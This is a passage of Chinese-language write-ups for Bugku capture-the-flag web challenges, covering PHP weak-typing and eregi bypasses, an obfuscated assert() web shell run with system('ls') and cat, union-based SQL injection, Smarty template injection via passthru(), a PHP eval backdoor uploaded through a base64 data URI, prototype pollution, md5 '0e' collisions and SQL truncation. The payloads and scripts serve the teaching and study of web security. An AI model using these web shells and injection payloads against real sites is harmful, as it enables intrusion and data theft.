<!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
</SCRIPT>
对javacirpt脚本内容的base64加密字符串进行解密后,可得到的内容包含一些url编码的字符串
<SCRIPT LANGUAGE="Javascript">
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--%22%3Bif(!%24_GET%5B'id'%5D)%0A%7B%0A%09header('Location%3A%20hello.php%3Fid%3D1')%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B'id'%5D%3B%0A%24a%3D%24_GET%5B'a'%5D%3B%0A%24b%3D%24_GET%5B'b'%5D%3B%0Aif(stripos(%24a%2C'.'))%0A%7B%0A%09echo%20'no%20no%20no%20no%20no%20no%20no'%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C'r')%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
</SCRIPT>
再对其内容进行URL解码一次,得到完整的代码如下:
<SCRIPT LANGUAGE="Javascript">
var Words ="<script>window.location.href='http://www.bugku.com';</script>
if(!$_GET['id'])   //如果无法通过get获得id变量并且id不能为空和0

{
    header('Location: hello.php?id=1');//如果id为空,则我们看到的URL加上hello.php?id=1
    exit();   //退出脚本。
}
$id=$_GET['id'];  //通过get方式获得其他文件的id变量
$a=$_GET['a'];   //通过get方式获得其他文件的a变量
$b=$_GET['b'];   //通过get方式获得其他文件的b变量
if(stripos($a,'.'))  //查找'.'在$a中出现的位置,只有a中没有'.'才会绕过这个if
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r'); //将$a文件读入到data中
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
//核心语句,$a为一个文件名,文件内容是"bugku is a nice plateform!",$id为0,$b要求为第一个字符为'4',长度大于5
/*
要满足以下 5 条表达式才会爆 flag:
  • 变量 $id 弱等于整型数 0
  • 变量 $b 的长度大于 5
  • 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
  • 变量 $b 的第一个字符弱不等于整型数 4
  • 变量 $data 弱等于字符串 bugku is a nice plateform!
*/
{
    $flag = "flag{***********}"
}
else
{
    print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
</SCRIPT>
简单代码分析:
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如substr($b,0,1)就是在参数b里面 ,从0开始返回1个长度的字符串
eregi("111".substr($b,0,1),"1114")就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的

$data=="bugku is a nice plateform!”
id==0与if(!GET( ′ id ′ )矛盾,所以用id=0e123456绕过,id为其他也可以。
用$a=php://input通过php伪协议去绕过file_get_contents
b的长度大于5,eregi(“111”.substr($b,0,1),“1114”)这个函数是b的正则匹配 ,
substr(b,0,1)!=4这个说明b开头不能为4,所以令$b=*123456
有矛盾的条件是:
id要求为0,但是下面要求id为整数0才能加载
$a要求服务器端存在一个文件名,文件内容是"bugku is a nice plateform!",但是我们不是服务器端
要求$b的第一个字符既等于字符'4',又不等于整数4
其他条件是
$a中不含 '.'
字符串1114要与字符串111连接变量 $b 的第一个字符构成的正则表达式匹配
$b长度大于5
首先是id弱类型,只要将id赋值为任意字符串解释器就会判定其与0相等为TRUE,先假设id="aa":
file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值必须为数据流
php://input 可以访问原始请求数据中的只读流。这里令 $a = "php://input",并在请求body中提交字符串 bugku is a nice plateform!,php://input会将其读入$a。
ereg()函数和eregi()函数存在空字符截断漏洞,即在参数与中的正则表达式和待匹配字符串中遇到了空格,则截断并丢弃后面的数据。
在本题里面eregi("111".substr($b,0,1),"1114") ,即111拼接上substr($b,0,1),之后与"1114"比较,只要让"111"后面拼接上一个空格即"\x00" 就可以让eregi函数对后面的进行截断,造成的结果就是"111"等于"1114"。这里可以构造 $b="\x00abcdef" 满足长度大于5即可。
因此,我们可以构造
id=%00或者id=.或者id=0e1
b=*12345或者?12345或者.12345(这里是运用了正则表达式的思想)
a=php://input

post:
bugku is a nice plateform!
最终flag:
flag{dcec7ea8a792bb7dcb7da6c245074832}

题目名称:shell
题目内容:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
题目writeup:
启动题目场景,获得靶场网站,访问靶场网站主页,发现页面是空白
查看靶场主页源码,内容也显示为空白
view-source:http://114.67.246.176:18158/
在题目内容描述中,作者给出了一句话免杀木马内容,这个一句话木马是index.php的内容:
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

该一句话后门其实就是运用拼接过waf,最后的运行结果是assert($_GET[‘s’])
很明显assert是能执行shell命令的危险函数之一,要带过去的参数是s
那么可以直接构造,首先想到system函数,没禁用
查看当前路径,可以查看到当前目录存在2个文件:flaga15808abee46a1d5.txt 和index.php
?s=system("ls")
http://114.67.246.176:18158/?s=system("ls")
那么flag在flaga15808abee46a1d5.txt文件中,通过cat命令查看flaga15808abee46a1d5.txt文件可获得flag
?s=system("cat  flaga15808abee46a1d5.txt")
http://114.67.246.176:18158/?s=system("cat  flaga15808abee46a1d5.txt")
最终 flag:
flag{7084e268d2193dc2e4e5c110e65f4f50}

题目名称:成绩查询
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现网页是一个成绩查询页面,猜测查询框中存在注入点。
http://114.67.246.176:11329/index.php
在成绩查询文本框中输入1,并通过burpsuit抓包并发送请求包,响应页面中发现可正常显示分数
id=1
在id=1后加入单引号,响应页面中发现分数线为空,证明id参数存在注入。
id=1'

通过order by查询字段数,发现在字段数为4页面显示正常
id=1'  order by  4#
字段数为5页面显示不正常
id=1'  order by  5#
说明order by 字段数为4

联合查询字段的回显位,发现在2,3,4位置存在回显位
id=-1'   union select  1,2,3,4#

联合查询出数据库名
id=-1'  union select  1,database(),3,4#
得到数据库名:skctf

联合查询出表名
id=-1'   union  select  1,group_concat(table_name),3,4   from  information_schema.tables  where  table_schema='skctf'#
得到表名为:fl4g,sc

联合查询出fl4g 表中的字段名
id=-1'   union  select  1,group_concat(column_name),3,4  from  information_schema.columns  where  table_name='fl4g'#
得到字段名为:skctf_flag

联合查询出skctf_flag字段的内容

id=-1'   union  select   1,group_concat(skctf_flag),3,4  from  skctf.fl4g#

最终得到flag:
flag{71bf5f1ce48c150c5a8fe67ebf670b77}

题目名称:秋名山车神
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面内容:需要2秒内计算出表达式结果.
http://114.67.176:1210

在两秒内,先发起请求得到页面,截取算式,利用eval计算字符串表达式的值,刷新多次,发现数字是变化的,不过刷新过程中发现了要提交的参数value。


使用python脚本计算出value值然后提交获得flag:

#coding=utf8
import requests
from lxml import etree

'''
eval():将字符串str当成有效的表达式来求值并返回计算结果
'''
url = 'http://114.67.246.176:12110/'
response = requests.session()
re = response.get(url=url).content.decode('utf-8')
elements = etree.HTML(re).xpath('//div/text()')[0][0:-3]
result = eval(elements) //函数用来执行一个字符串表达式,并返回表达式的值
print(result,'\n')
data = {
'value':result
}
flag = response.post(url=url,data=data).content.decode('utf-8')
flag_x = etree.HTML(flag)
print(etree.tostring(flag_x,encoding='utf-8').decode('utf-8'))
print(flag)
最终flag:
flag{d29ecec61bf1a4b75386c62decc4e9b8}

题目名称:速度要快
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面内容显示“我感觉你的快点”,没可利用点
http://114.67.246.176:18724/

查看靶场网站主页的源码,在注释中告诉我们需要用post方式提交参数变量margin才能获得flag
view-source:http://114.67.246.176:18724/
通过bupsuit对访问靶场主页进行抓包,发送请求包后,在响应http头部包含flag的base64内容
得到base64加密的flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogT0RjMk1USTQ=
base64解码得到:跑的还不错,给你flag吧: ODc2MTI4
ODc2MTI4看起来像base64,再次解密得到:876128,那么margin值为876128
于是构造post提交:
post:
margin=876128
页面显示“我都说了让你快点”说明人工获取速度太慢,且通过人工获得flag时发现每次刷新都会产生新的flag,所以要用session对象会话保持同一个flag
需要用脚本来构造请求获得flag:
import requests
import base64

s = requests.Session()
headers = s.get("http://114.67.246.176:18724/").headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])

data = {'margin': str2}
flag = s.post("http://114.67.246.176:18724/", data=data)
print(flag.text)
最终flag为:
flag{fb9d516d0399f9942fd8ecdd4f49702c}

题目名称:聪明的php
题目writeup:
启动题目场景,获得靶场网站,靶场网站主页页面内容显示“传递一个参数,flag的文件名是随机的”。
http://114.67.246.176:16000/
根据上文提示,随机传一个参数s(任意),值也是任意,可得index.php的源码。
发现smarty是个模板,尝试一下是不是模板注入测试{{2*1}}的结果,可以看到页面上显示了计算结果,说明该smarty模板存在ssti注入
得到的index.php的主要源码为:
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)
    {
        print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){
            
            $smarty->display('./template.html');


        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){


            $smarty->display('./template.html');            
            
        }else{
            $smarty->display("eval:".$value);
        }
        
    }
}
?> 
通过以上代码简单的分析,网站存在存在命令执行漏洞,发现过滤挺多的函数,发现passthru()函数没有被过滤,这个函数可以代替system()。
passthru()函数只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
所以构造payload:{passthru("")}

linux查看文件的命令

cat tac more less head tail nl static-sh paste od bzmore bzless

php文件读取函数

printr() fread() fgets() vardump()

方法一:使用passthru函数找到flag文件,并读取flag文件内容

使用passthru函数通过ls命令查看当前目录下存在的文件
http://114.67.246.176:16000/index.php?f={passthru(%22ls%22)}
{passthru("ls")}
可以列出当前目录下存在index.php以及cache等文件,但并包含flag内容。

使用passthru函数通过ls命令查看前根目录下存在的文件
{passthru("ls -al /")}
http://114.67.246.176:16000/index.php?f={passthru(%22ls%20-al%20%20/%22)}
以列出当前根目录下存在一个可疑的文件_17211,该文件也符合上文提示的“flag文件为随机文件”

于是通过tac命令(Cat命令被过滤了,用tac命令替代查看文件内容)查看_17211文件内容,可以成功查看到 flag文件内容
{passthru("tac /_17211")}
http://114.67.246.176:16000/index.php?f={passthru(%22tac%20/_17211%22)}


方法二:使用scandir函数找到flag文件,并读取flag文件内容
{print_r(scandir("/"))}
http://114.67.246.176:16000/index.php?f={print_r(scandir(%22/%22))}
{var_dump(scandir("/"))}
http://114.67.246.176:16000/index.php?f={print_r(scandir(%22/%22))}

{fread(fopen("/_17211","r"),4096)}
http://114.67.246.176:16000/index.php?f={fread(fopen(%22/_17211%22,%22r%22),4096)}
最终得到flag:
flag{95f6e0916a19c4deb053c324da0562f1}

题目名称:xxx二手交易市场
题目内容:本人现实碰到的题目,无提示勿问
题目writeup:
启动题目场景,获得靶场网站,访问网站主页,发现是一个二手交易网站
http://114.67.246.176:11026/sale
按照正常流程,是用用户名trss123用户名,密码123456,进行注册一个账号。
http://114.67.246.176:11026/reg
使用账号trss123,密码123456,成功登陆到个人后台,发现在个人头像处可以上传图片
http://114.67.246.176:11026/user
于是上传一个正常的图片并通过bupsuit对其进行抓包,发现它上传的内容是先把图片内容转换成base64格式

并且文件内容开头是:

image=data:image/jpeg;base64,baes4(字符串加密)即image=data:image/php;base64,

数据以base64编码的数据流形式传输,将data:image/jpeg修改为data:image/php,
再在后面加上一句话木马:<?php @eval($_POST[cmd]); ?>
一句话木马base64编码后的字符串:PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==
因此构造payload为:
image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==
获得一句话木马上传的物理路径:/Uploads/heads/fe50c88fd127cf1b.php
最终得到一句话的后门路径访问地址:http://114.67.246.176:11026/Uploads/heads/fe50c88fd127cf1b.php
通过蚁剑连接一句话后门
在/var/www/html目录下存在flag文件
查看flag文件,可获得flag内容
最终得到flag:
flag{686b0419f11322377b672b906442a6cd}

题目名称:闪电十六鞭
题目内容:flag{}
题目writeup:
启动题目场景,获得靶场网站,访问网站主页,页面显示一段php代码,且含有一个click here超链接。
http://114.67.246.176:15839/

点击click here超链接,得到一个url地址
该url地址后的flag值的长度为:len("return'return'c2ba6ed801720ae57a0c08ab35980e6e20d5d4f7';")=49
并且得到的php源码:
<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);
由源码可知,$flag可以输出,且输出后就是flag,需要绕过2个条件才能获得到flag
1.绕过条件一:使用短标签<? ?>可以构造出echo绕过<?php ?>:
<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>,
当你发现你的PHP不支持使用短标签,请到PHP的安装目录下找到php.ini文件,使用Ctrl+F搜索short_open_tag ,
然后将等号后面的Off改成On,再重新启动Apache服务,那么短标签就会被识别了

因此构造短标签<?=$flag;?>就可以输出flag了,但是flag被过滤了
$a构造一个flag字符串,然后echo $$a,不过[]被过滤了。
2.绕过条件2:用大括号代替方括号[]:
在PHP中,大括号“{}”可以起到如下作用:
将多个独立语句合并为一个复合语句,例如 if ... else ...中经常如此使用
在变量间接引用中进行定界,避免歧义。例如 ${$my_var[8]}与${$my_var}[8]的区分
用于指示字符串变量中的单个字符(下标从0开始),例如
$my_str="1234";
$my_str{1}='5';  //现在 $my_str 内容为 '1534'

因此最后构造
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
第一个;?>是为了让代码开头的<?php闭合,不然<?=$$a?>无法执行,后面填充字符111111111111111111,需要满足长度条件。
 http://114.67.246.176:15839/?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
最终flag:
flag{78062956}

题目名称:sodirty
题目writeup:
启动题目场景,获得靶场网站,访问网站主页,页面显示内容为“前段被炒了“无任何利用点
http://114.67.246.176:14918/index
点击注册链接,页面内容显示用户创建成功,也没有利用点
http://114.67.246.176:14918/reg

通过御剑目录扫描工具对靶场网站进行目录扫描,发现网站存在一个www.zip压缩文件。
下载 www.zip文件,对其压缩包进行解压,可得到网站源码。
打开routes/index.js得到源码 :
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
    "password":process.env.password?process.env.password:"password"
}

router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});
module.exports = router;
发现set-value,存在原型链污染,poc地址:https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

对于js原型链污染,下面这篇讲得非常详细:

https://blog.csdn.net/weixin_45551083/article/details/109589386

poc:
const setFn = require('set-value');
setFn({},'__proto__.p1',"hacked");
console.log({}.p1);
由源码分析可知:
1.发现路由"/reg"会创建一个challenger用户字典
2.发现路由"/update"可以对challenger传参键值对(attrkey和attrval),对challenger字典中进行修改
3.路由"/getflag"可以获取到flag,但存在几个验证,首先需要传参两个参数(key和password)进来,
并且对用户字典中的年龄进行判断,大于79会失败;其次Admin[key]需要等于password,其中passwod为我们控制的 ,而Admin[key] 我们不知道
因为age是一个已经存在的变量,所以可以用post传参去覆盖
data={"attrkey":"age","attrval":"10"}
update(url,data)

既然知道是原型链污染了,我们直接利用poc自定义一个password即可,而对于年龄,它是已经存在的变量,那我们就直接覆盖age变量
写一个脚本进行相对应的发送请求:
import requests
url = "http://114.67.246.176:14918"

headers = {'Content-Type': 'application/json' }
req = requests.session()
test = req.get(url+"/reg")
print(test.text)


r = req.post(url+"/update",json={"attrkey":"__proto__.pwd22","attrval":"pwd"},headers=headers)
print(r.text)


r = req.post(url+"/update",json={"attrkey":"age","attrval":10},headers=headers)
print(r.text)

r = req.post(url+"/getflag",json={"key":"pwd22","password":"pwd"},headers=headers)
print(r.text)
最终得到flag:
flag{c4e0740412adbe631cd75aa35107e564}

题目名称:字符?正则?
题目writeup:
启动题目场景,获得靶场网站,访问网站主页,页面显示一段php代码
得到的php 源码:
<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
简单代码分析:

1.preg_match函数用于执行一个正则表达式匹配

2.trim(字符串,字符) 移除字符串两侧的空白字符或其他预定义字符

3.基本思路:拆分->各个击破

"/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i"

/xxx/i 是PHP或Perl一类的语言中的正则表达式,其中xxx表示真正的正则表达式本身,而后面的i表示ignoreCase,即忽略大小写的意思。

所以真正的正则表达式:

key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]] 

接下来我用一个表格来说明:

至此,我们可以对这道题的正则表达式进行构造poc:

keyakeyaaaakey:/a/aakeyb!

http://114.67.246.176:16829/?id=keyakeyaaaakey:/a/aakeyb!

或者
keyakeyaaaakey:/a/keya!和keyaakeyaaaaakey:/a/aakeya;
http://114.67.246.176:16829/?id=keyakeyaaaakey:/a/keya!

最终flag:
flag{28230ec1a8c6c2fda4ddf555ba0a3152}

题目名称:前女友
题目wiretup:
启动题目场景,获得靶场网站,访问网站主页,页面显示一段文字内容。
http://114.67.246.176:18724/
对靶场主页源码进行查看,发现存在一个href的code.txt链接
view-source:http://114.67.246.176:18724/
访问code.txt,页面显示了一段php代码
得到的php代码:
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
知识点有两个:
1、md5算法不能用来比较数组,如果是数组会返回NULL,也就是等值;
2、这个之前是真的没有注意过:strcmp函数
本来这个函数是用来比较字符串的,在php5.3版本以后,如果比较的一方是数组,函数会返回0,也就是说,匹配成功。
这里有php中的MD5漏洞及strcmp漏洞,php中以0e开头的字符串都统一看成0,而strcmp函数,如果传入的参数不是字符串的话,会默认报错,同时会直接认为相等。

可以看出是利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会 认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。
满足v1v2的值不等但是md5相等且v3=flag才行
方法一:md5()函数漏洞获得flag
第一种
$_GET['a'] != $_GET['b'] 
&&
MD5($_GET['a']) == MD5($_GET['b'])
满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数的漏洞,PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
常用的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s1885207154a
s214587387a
s1091221200a
aabg7XS
第二种
$_POST['a1']!==$_POST['a2'] 
&& 
md5($_POST['a1'])===md5($_POST['a2'])
=== 不仅比较值相等还会要求类型比较
但是,md5无法处理数组!所以构建数组就可以了
第三种
(string)$_POST['a1']!==(string)$_POST['a2'] 
&& 
md5($_POST['a1'])===md5($_POST['a2'])
}

这里比较的是字符串
意思大致就是v1!=v2,md5值相等,之前提到过,是240610708和QNKCDZO,然后比较v3和flag,这里利用了strcmp的一个漏洞,不能比较数组,
构造url:
?v1=QNKCDZO&v2=240610708&v3[]=1


或者
?v1=s1885207154a&v2=s1091221200a&v3[]=1
http://114.67.246.176:18724/?v1=s1885207154a&v2=s1091221200a&v3[]=1

方法二:php strcmp()漏洞获得flag
在传入的参数类型不是字符串时会报错,但是却判定相等!当然此漏洞存在于老版本的php中
if (strcmp($_GET[‘a’], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
就是get 用a和flag比较,这里strcmp有一个bug就是如果比较的是数组的话,还是会返回一个0。
所以呢,此题的解法就是:
payload:
?v1[]=1&v2[]=2&v3[]=3
http://114.67.246.176:18724/?v1[]=1&v2[]=2&v3[]=3
或者
?v1=240610708 &&v2=314282422&&v3[]=1
http://114.67.246.176:18724/?v1=240610708&&v2=314282422&&v3[]=1
最终flag:
flag{c0cdf447f5840858cca4371528d8be1c}

题目名称:login1
题目内容:hint:SQL约束攻击
题目writeup:
启动题目场景,获得靶场网站,访问网站主页,页面显示了一个登陆窗口。
http://114.67.246.176:14043/
按照正常流程,这里我们注册一个账号test1,密码Test123456,可注册成功
在登录页面输入账号test,密码Test123456,页面显示“不是管理员还想看flag",说明我们需要拿到admin管理员的账号登录才能获得flag
根据题目内容提示“hint:SQL约束攻击”
那么sql约束攻击:
1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,
对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
例:SELECT * FROM users WHERE username='vampire     ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。
这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
2.在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,
那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
漏洞原理:
假设数据库中存在一个admin,而且最大的限制长度是25,我们在注册的时候输入用户名admin[20个空格]1,密码随意输入。那么数据库在判断我们注册的用户名是否存在时,使用select语句,那么空格就会被删除,剩下admin1。这时因为数据库中只有admin,所以会被注册成新用户,但在注册的时候用的是insert语句,不删除空格,只取最大字符串,那么我们实际注册的用户名就是admin[20个空格]。
在登陆的时候select语句查找,以为查找的时候select回删除空格,就会返回两个admin,一条是真正的admin,另一条是admin[20个空格],那么我们就可以用admin和我们自己的密码登录了

所以就很好理解了,我们就注册个类似的admin账户让登录代码读入的时候读入的是假的admin账户信息,而回显的是真的admin信息
这里我们注册账号:admin (两空格) 密码:Admin1234,并用该账号登录,页面内容显示了flag内容



最终flag:
flag{7cf706aabc162d62d2f682188bcc2db4}

题目名称:你从哪里来
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面内容显示“你是来自谷歌?”
http://114.67.246.176:10815/
查看靶场网站主页源码,发现是空白,无利用点
view-source:http://114.67.246.176:10815/
通过御剑目录扫描工具对网站进行目录扫描只发现存在index.php,也没有可利用点
联想到上文提示的“你是来自谷歌?”暗示我们需要通过Referer进行伪造google.com地址。
Referer:http://www.google.com

最终得到flag:
flag{baf01ae3898529c1dbd25c20db1f990e}

题目名称:MD5
题目内容:md5 collision
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示“请输入参数a ",告诉我们这里的get请求参数构造为:?a=
http://114.67.246.176:18776/
这里将a参数变量任意赋值为1,提交发现页面内容为false
http://114.67.246.176:18776/?a=1
这道题有点坑,并没有泄露源码出来,于是找到了这题的源码:
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>
将QNKCDZO进行md5加密后,得到值:0e830400451993494058024219903391,发现为0e开头,所以此处考虑MD5碰撞,就是经过md5加密后以0e开头的在进行‘==’运算时,php会认为他们都为0。
其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
常用的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s1885207154a
s214587387a
s1091221200a
aabg7XS
payload为:a=s1885207154a
最终flag:
flag{bdfa5876fbf4986996dcec0afdee5b41}

题目名称:程序员本地网站
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面内容显示"请从本地访问!"告诉我们需要通过x-forwarded-for伪造本地IP地址
http://114.67.246.176:10995/
这里通过bupsuit对访问靶场网站主页进行抓包拦截,然后在http头部添加:x-forwarded-for:127.0.0.1,并发送请求包,在响应页面中可获得flag
最终flag为:
flag{42ba9bfb280899ba67541d8bc8f7aa5a}


题目场景:各种绕过哟
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面显示了一段php代码
http://114.67.246.176:16020/

得到的php代码:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

通过阅读代码,我们发现要想得到flag就要达到下面三个条件:

  1. 使 uname的sha1值 与 passwd的sha1的值相等
